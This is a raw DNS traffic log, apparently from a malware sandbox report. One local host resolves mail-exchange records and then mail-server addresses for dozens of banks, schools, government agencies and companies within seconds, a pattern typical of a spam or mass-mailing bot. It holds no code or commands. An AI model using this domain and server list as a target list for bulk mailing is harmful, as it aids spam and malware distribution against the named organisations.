Aug 24, 2023 19:04:38.844106913 CEST	8.8.8.8	192.168.2.8	0xc21d	No error (0)	manitoulintransport.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:38.844106913 CEST	8.8.8.8	192.168.2.8	0xc21d	No error (0)	manitoulintransport.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:38.844106913 CEST	8.8.8.8	192.168.2.8	0xc21d	No error (0)	manitoulintransport.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:38.844106913 CEST	8.8.8.8	192.168.2.8	0xc21d	No error (0)	manitoulintransport.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:38.844106913 CEST	8.8.8.8	192.168.2.8	0xc21d	No error (0)	manitoulintransport.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:38.984272003 CEST	8.8.8.8	192.168.2.8	0xfa98	No error (0)	kruger-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:38.984272003 CEST	8.8.8.8	192.168.2.8	0xfa98	No error (0)	kruger-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:39.337054014 CEST	8.8.8.8	192.168.2.8	0x475a	No error (0)	bancroftschool.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:39.337054014 CEST	8.8.8.8	192.168.2.8	0x475a	No error (0)	bancroftschool.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:39.337054014 CEST	8.8.8.8	192.168.2.8	0x475a	No error (0)	bancroftschool.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:39.337054014 CEST	8.8.8.8	192.168.2.8	0x475a	No error (0)	bancroftschool.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:39.337054014 CEST	8.8.8.8	192.168.2.8	0x475a	No error (0)	bancroftschool.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:39.343586922 CEST	8.8.8.8	192.168.2.8	0x9fe	No error (0)	btconnect.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:39.518642902 CEST	8.8.8.8	192.168.2.8	0x544f	No error (0)	btconnect-com.mail.eo.outlook.com		104.47.11.202	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:39.518642902 CEST	8.8.8.8	192.168.2.8	0x544f	No error (0)	btconnect-com.mail.eo.outlook.com		104.47.11.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:39.625494003 CEST	8.8.8.8	192.168.2.8	0x8b5e	No error (0)	oakridgelandscape.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:39.650697947 CEST	8.8.8.8	192.168.2.8	0x319c	No error (0)	netscape.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:39.670653105 CEST	8.8.8.8	192.168.2.8	0x8ea2	No error (0)	oakridgelandscape-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:39.670653105 CEST	8.8.8.8	192.168.2.8	0x8ea2	No error (0)	oakridgelandscape-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:39.726193905 CEST	8.8.8.8	192.168.2.8	0xa481	No error (0)	nbnet.nb.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:39.865834951 CEST	8.8.8.8	192.168.2.8	0x6b80	No error (0)	lafarge.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:39.865834951 CEST	8.8.8.8	192.168.2.8	0x6b80	No error (0)	lafarge.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:39.865834951 CEST	8.8.8.8	192.168.2.8	0x6b80	No error (0)	lafarge.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:39.865834951 CEST	8.8.8.8	192.168.2.8	0x6b80	No error (0)	lafarge.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:39.865834951 CEST	8.8.8.8	192.168.2.8	0x6b80	No error (0)	lafarge.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:39.912071943 CEST	8.8.8.8	192.168.2.8	0x75b1	No error (0)	chartermi.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:39.918637037 CEST	8.8.8.8	192.168.2.8	0x3929	No error (0)	invis.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:39.963001013 CEST	8.8.8.8	192.168.2.8	0xea53	No error (0)	invis-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:39.963001013 CEST	8.8.8.8	192.168.2.8	0xea53	No error (0)	invis-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:40.013876915 CEST	8.8.8.8	192.168.2.8	0x9ee8	No error (0)	amdocs.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:40.013876915 CEST	8.8.8.8	192.168.2.8	0x9ee8	No error (0)	amdocs.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:40.013876915 CEST	8.8.8.8	192.168.2.8	0x9ee8	No error (0)	amdocs.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:40.013876915 CEST	8.8.8.8	192.168.2.8	0x9ee8	No error (0)	amdocs.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:40.013876915 CEST	8.8.8.8	192.168.2.8	0x9ee8	No error (0)	amdocs.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:40.013876915 CEST	8.8.8.8	192.168.2.8	0x9ee8	No error (0)	amdocs.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:40.013876915 CEST	8.8.8.8	192.168.2.8	0x9ee8	No error (0)	amdocs.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:40.013876915 CEST	8.8.8.8	192.168.2.8	0x9ee8	No error (0)	amdocs.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:40.052264929 CEST	8.8.8.8	192.168.2.8	0x8029	No error (0)	mx4.amdocs.com		69.150.27.103	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:40.062987089 CEST	8.8.8.8	192.168.2.8	0x6b86	No error (0)	mx1.charter.net		47.43.18.7	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:40.395658016 CEST	8.8.8.8	192.168.2.8	0xc9d3	No error (0)	nvsd44.bc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:40.433547974 CEST	8.8.8.8	192.168.2.8	0xf5a8	No error (0)	nvsd44-bc-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:40.433547974 CEST	8.8.8.8	192.168.2.8	0xf5a8	No error (0)	nvsd44-bc-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:40.505665064 CEST	8.8.8.8	192.168.2.8	0x5b4	No error (0)	admiralpkg.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:40.567253113 CEST	8.8.8.8	192.168.2.8	0xff19	No error (0)	admiralpkg-com.mail.protection.outlook.com		52.101.11.3	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:40.567253113 CEST	8.8.8.8	192.168.2.8	0xff19	No error (0)	admiralpkg-com.mail.protection.outlook.com		52.101.42.4	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:40.567253113 CEST	8.8.8.8	192.168.2.8	0xff19	No error (0)	admiralpkg-com.mail.protection.outlook.com		52.101.40.1	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:40.567253113 CEST	8.8.8.8	192.168.2.8	0xff19	No error (0)	admiralpkg-com.mail.protection.outlook.com		52.101.42.9	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:40.567253113 CEST	8.8.8.8	192.168.2.8	0xff19	No error (0)	admiralpkg-com.mail.protection.outlook.com		52.101.40.4	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:40.567253113 CEST	8.8.8.8	192.168.2.8	0xff19	No error (0)	admiralpkg-com.mail.protection.outlook.com		52.101.11.7	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:40.567253113 CEST	8.8.8.8	192.168.2.8	0xff19	No error (0)	admiralpkg-com.mail.protection.outlook.com		52.101.42.6	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:40.917387962 CEST	8.8.8.8	192.168.2.8	0x4571	No error (0)	velocitytrade.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:40.963716030 CEST	8.8.8.8	192.168.2.8	0xffa5	No error (0)	velocitytrade-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:40.963716030 CEST	8.8.8.8	192.168.2.8	0xffa5	No error (0)	velocitytrade-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:41.058970928 CEST	8.8.8.8	192.168.2.8	0x580f	No error (0)	grainscanada.gc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:41.166126013 CEST	8.8.8.8	192.168.2.8	0x983c	No error (0)	stm.info			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:41.199654102 CEST	8.8.8.8	192.168.2.8	0x6eb9	No error (0)	cjbrown.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:41.199654102 CEST	8.8.8.8	192.168.2.8	0x6eb9	No error (0)	cjbrown.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:41.199654102 CEST	8.8.8.8	192.168.2.8	0x6eb9	No error (0)	cjbrown.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:41.199654102 CEST	8.8.8.8	192.168.2.8	0x6eb9	No error (0)	cjbrown.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:41.199654102 CEST	8.8.8.8	192.168.2.8	0x6eb9	No error (0)	cjbrown.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:41.207505941 CEST	8.8.8.8	192.168.2.8	0xb986	No error (0)	stm-info.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:41.207505941 CEST	8.8.8.8	192.168.2.8	0xb986	No error (0)	stm-info.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:41.242772102 CEST	8.8.8.8	192.168.2.8	0xe9b6	No error (0)	mx.ssan.egs-seg.gc.ca		205.193.229.132	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:41.438635111 CEST	8.8.8.8	192.168.2.8	0x85c4	No error (0)	scotiabank.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:41.438635111 CEST	8.8.8.8	192.168.2.8	0x85c4	No error (0)	scotiabank.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:41.494333029 CEST	8.8.8.8	192.168.2.8	0xe41c	No error (0)	mx2.hc576-93.ca.iphmx.com		216.71.135.166	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:41.494333029 CEST	8.8.8.8	192.168.2.8	0xe41c	No error (0)	mx2.hc576-93.ca.iphmx.com		216.71.131.95	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:41.614835978 CEST	8.8.8.8	192.168.2.8	0x582f	No error (0)	toyota-boshoku.co.jp			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:41.698693991 CEST	8.8.8.8	192.168.2.8	0xc714	No error (0)	hatzolahofla.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:41.698693991 CEST	8.8.8.8	192.168.2.8	0xc714	No error (0)	hatzolahofla.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:41.698693991 CEST	8.8.8.8	192.168.2.8	0xc714	No error (0)	hatzolahofla.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:41.698693991 CEST	8.8.8.8	192.168.2.8	0xc714	No error (0)	hatzolahofla.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:41.698693991 CEST	8.8.8.8	192.168.2.8	0xc714	No error (0)	hatzolahofla.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:41.819396019 CEST	8.8.8.8	192.168.2.8	0x3552	No error (0)	gw3018.fortimail.com		173.243.133.18	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:41.832674980 CEST	8.8.8.8	192.168.2.8	0xda4e	No error (0)	fitzmall.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:41.832674980 CEST	8.8.8.8	192.168.2.8	0xda4e	No error (0)	fitzmall.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:42.121337891 CEST	8.8.8.8	192.168.2.8	0xffa7	No error (0)	bigpond.net.au			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:42.194014072 CEST	8.8.8.8	192.168.2.8	0x404e	No error (0)	gci.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:42.250062943 CEST	8.8.8.8	192.168.2.8	0xeacb	No error (0)	inbound.gci.net		129.80.174.121	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:42.276957989 CEST	8.8.8.8	192.168.2.8	0x2b92	No error (0)	leduc-county.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:42.322639942 CEST	8.8.8.8	192.168.2.8	0x58b1	No error (0)	leduccounty-com01c.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:42.322639942 CEST	8.8.8.8	192.168.2.8	0x58b1	No error (0)	leduccounty-com01c.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:42.428400040 CEST	8.8.8.8	192.168.2.8	0x19ac	No error (0)	merelli.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:42.428400040 CEST	8.8.8.8	192.168.2.8	0x19ac	No error (0)	merelli.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:42.438581944 CEST	8.8.8.8	192.168.2.8	0xeaf8	No error (0)	extmail.bpbb.bigpond.com		203.42.40.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:42.438581944 CEST	8.8.8.8	192.168.2.8	0xeaf8	No error (0)	extmail.bpbb.bigpond.com		203.42.22.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:42.504662991 CEST	8.8.8.8	192.168.2.8	0x8a81	No error (0)	fioptics.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:42.504662991 CEST	8.8.8.8	192.168.2.8	0x8a81	No error (0)	fioptics.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:42.504662991 CEST	8.8.8.8	192.168.2.8	0x8a81	No error (0)	fioptics.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:42.504662991 CEST	8.8.8.8	192.168.2.8	0x8a81	No error (0)	fioptics.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:42.645479918 CEST	8.8.8.8	192.168.2.8	0xa333	No error (0)	ivey.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:42.682383060 CEST	8.8.8.8	192.168.2.8	0xa03f	No error (0)	ivey-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:42.682383060 CEST	8.8.8.8	192.168.2.8	0xa03f	No error (0)	ivey-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:42.738744974 CEST	8.8.8.8	192.168.2.8	0x5eaf	No error (0)	mcc-east.mx.a.cloudfilter.net		3.209.17.26	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:42.738744974 CEST	8.8.8.8	192.168.2.8	0x5eaf	No error (0)	mcc-east.mx.a.cloudfilter.net		34.192.198.103	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:42.760608912 CEST	8.8.8.8	192.168.2.8	0x62a7	Name error (3)	everythinginkonline.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.017501116 CEST	8.8.8.8	192.168.2.8	0x526e	No error (0)	nb.sympatico.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.064359903 CEST	8.8.8.8	192.168.2.8	0x632	No error (0)	tritechinc.biz			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.064359903 CEST	8.8.8.8	192.168.2.8	0x632	No error (0)	tritechinc.biz			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.190078974 CEST	8.8.8.8	192.168.2.8	0xcfe3	No error (0)	zulualphakilo.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.193845034 CEST	8.8.8.8	192.168.2.8	0x9ee5	No error (0)	mxa-00277d01.gslb.pphosted.com		67.231.159.120	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:43.226667881 CEST	8.8.8.8	192.168.2.8	0x7eba	No error (0)	zulualphakilo-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:43.226667881 CEST	8.8.8.8	192.168.2.8	0x7eba	No error (0)	zulualphakilo-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:43.259413958 CEST	8.8.8.8	192.168.2.8	0xb419	No error (0)	douglas.bc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.397737026 CEST	8.8.8.8	192.168.2.8	0x4cd6	No error (0)	bresnan.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.398747921 CEST	8.8.8.8	192.168.2.8	0x891e	No error (0)	evansgrain.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.398747921 CEST	8.8.8.8	192.168.2.8	0x891e	No error (0)	evansgrain.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.398747921 CEST	8.8.8.8	192.168.2.8	0x891e	No error (0)	evansgrain.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.398747921 CEST	8.8.8.8	192.168.2.8	0x891e	No error (0)	evansgrain.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.398747921 CEST	8.8.8.8	192.168.2.8	0x891e	No error (0)	evansgrain.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.440395117 CEST	8.8.8.8	192.168.2.8	0x13c1	No error (0)	accenture.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.440395117 CEST	8.8.8.8	192.168.2.8	0x13c1	No error (0)	accenture.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.467245102 CEST	8.8.8.8	192.168.2.8	0xc5d0	No error (0)	mx0a-001dcc01.pphosted.com		148.163.157.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:43.527658939 CEST	8.8.8.8	192.168.2.8	0x39c5	No error (0)	mx0.bresnan.net		47.43.18.9	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:43.630808115 CEST	8.8.8.8	192.168.2.8	0xe48a	No error (0)	emirates.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.630808115 CEST	8.8.8.8	192.168.2.8	0xe48a	No error (0)	emirates.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.737401009 CEST	8.8.8.8	192.168.2.8	0x6a44	No error (0)	davincibb.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.867125034 CEST	8.8.8.8	192.168.2.8	0xbb6e	No error (0)	jordanelectric.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.867125034 CEST	8.8.8.8	192.168.2.8	0xbb6e	No error (0)	jordanelectric.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.867125034 CEST	8.8.8.8	192.168.2.8	0xbb6e	No error (0)	jordanelectric.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.867125034 CEST	8.8.8.8	192.168.2.8	0xbb6e	No error (0)	jordanelectric.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.867125034 CEST	8.8.8.8	192.168.2.8	0xbb6e	No error (0)	jordanelectric.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.877178907 CEST	8.8.8.8	192.168.2.8	0x4694	No error (0)	mx.davincibb.net.cust.a.hostedemail.com		216.40.42.4	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:44.085340023 CEST	8.8.8.8	192.168.2.8	0x762d	No error (0)	ctoclogistics.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.102423906 CEST	8.8.8.8	192.168.2.8	0x8d80	No error (0)	pgmotors.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.102423906 CEST	8.8.8.8	192.168.2.8	0x8d80	No error (0)	pgmotors.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.102423906 CEST	8.8.8.8	192.168.2.8	0x8d80	No error (0)	pgmotors.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.102423906 CEST	8.8.8.8	192.168.2.8	0x8d80	No error (0)	pgmotors.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.102423906 CEST	8.8.8.8	192.168.2.8	0x8d80	No error (0)	pgmotors.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.122937918 CEST	8.8.8.8	192.168.2.8	0xb182	No error (0)	ctoclogistics-com.mail.protection.outlook.com		104.47.73.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:44.122937918 CEST	8.8.8.8	192.168.2.8	0xb182	No error (0)	ctoclogistics-com.mail.protection.outlook.com		104.47.73.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:44.173943043 CEST	8.8.8.8	192.168.2.8	0xb77c	Name error (3)	cu-portland.edu	none	none	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.229509115 CEST	8.8.8.8	192.168.2.8	0x8d80	No error (0)	pgmotors.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.229509115 CEST	8.8.8.8	192.168.2.8	0x8d80	No error (0)	pgmotors.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.229509115 CEST	8.8.8.8	192.168.2.8	0x8d80	No error (0)	pgmotors.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.229509115 CEST	8.8.8.8	192.168.2.8	0x8d80	No error (0)	pgmotors.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.229509115 CEST	8.8.8.8	192.168.2.8	0x8d80	No error (0)	pgmotors.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.274544954 CEST	8.8.8.8	192.168.2.8	0x6cef	No error (0)	michigan.gov			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.387723923 CEST	8.8.8.8	192.168.2.8	0x5222	No error (0)	michigan-gov.mail.protection.outlook.com		104.47.65.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:44.387723923 CEST	8.8.8.8	192.168.2.8	0x5222	No error (0)	michigan-gov.mail.protection.outlook.com		104.47.64.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:44.706913948 CEST	8.8.8.8	192.168.2.8	0xf89c	No error (0)	mackenzieinvestments.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.742994070 CEST	8.8.8.8	192.168.2.8	0x88d8	No error (0)	mackenzieinvestments-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:44.742994070 CEST	8.8.8.8	192.168.2.8	0x88d8	No error (0)	mackenzieinvestments-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:44.851011038 CEST	8.8.8.8	192.168.2.8	0xe04	No error (0)	una.ab.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.851011038 CEST	8.8.8.8	192.168.2.8	0xe04	No error (0)	una.ab.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.984229088 CEST	8.8.8.8	192.168.2.8	0x8997	No error (0)	marcotec.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.984229088 CEST	8.8.8.8	192.168.2.8	0x8997	No error (0)	marcotec.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.984229088 CEST	8.8.8.8	192.168.2.8	0x8997	No error (0)	marcotec.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.984229088 CEST	8.8.8.8	192.168.2.8	0x8997	No error (0)	marcotec.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.984229088 CEST	8.8.8.8	192.168.2.8	0x8997	No error (0)	marcotec.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.984229088 CEST	8.8.8.8	192.168.2.8	0x8997	No error (0)	marcotec.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:45.166376114 CEST	8.8.8.8	192.168.2.8	0x2d87	No error (0)	rcgt.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:45.166376114 CEST	8.8.8.8	192.168.2.8	0x2d87	No error (0)	rcgt.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:45.236237049 CEST	8.8.8.8	192.168.2.8	0x68fb	No error (0)	mail.una.ca		207.229.56.179	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:45.393214941 CEST	8.8.8.8	192.168.2.8	0x4f65	No error (0)	ryerson.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:45.464001894 CEST	8.8.8.8	192.168.2.8	0xa3b6	No error (0)	goclio.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:45.464001894 CEST	8.8.8.8	192.168.2.8	0xa3b6	No error (0)	goclio.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:45.464001894 CEST	8.8.8.8	192.168.2.8	0xa3b6	No error (0)	goclio.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:45.464001894 CEST	8.8.8.8	192.168.2.8	0xa3b6	No error (0)	goclio.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:45.464001894 CEST	8.8.8.8	192.168.2.8	0xa3b6	No error (0)	goclio.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:45.630626917 CEST	8.8.8.8	192.168.2.8	0x3fe	No error (0)	umontreal.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:45.658008099 CEST	8.8.8.8	192.168.2.8	0x829b	No error (0)	capgemini.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:45.658008099 CEST	8.8.8.8	192.168.2.8	0x829b	No error (0)	capgemini.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:45.658008099 CEST	8.8.8.8	192.168.2.8	0x829b	No error (0)	capgemini.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:45.658008099 CEST	8.8.8.8	192.168.2.8	0x829b	No error (0)	capgemini.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:45.689464092 CEST	8.8.8.8	192.168.2.8	0x54ee	No error (0)	umontreal-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:45.689464092 CEST	8.8.8.8	192.168.2.8	0x54ee	No error (0)	umontreal-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.488652945 CEST	8.8.8.8	192.168.2.8	0xf085	No error (0)	mx1.hc756-17.eu.iphmx.com		23.90.111.144	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.488652945 CEST	8.8.8.8	192.168.2.8	0xf085	No error (0)	mx1.hc756-17.eu.iphmx.com		23.90.116.136	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.488652945 CEST	8.8.8.8	192.168.2.8	0xf085	No error (0)	mx1.hc756-17.eu.iphmx.com		23.90.116.142	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.488652945 CEST	8.8.8.8	192.168.2.8	0xf085	No error (0)	mx1.hc756-17.eu.iphmx.com		23.90.116.137	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.488652945 CEST	8.8.8.8	192.168.2.8	0xf085	No error (0)	mx1.hc756-17.eu.iphmx.com		23.90.111.148	A (IP address)	IN (0x0001)	false
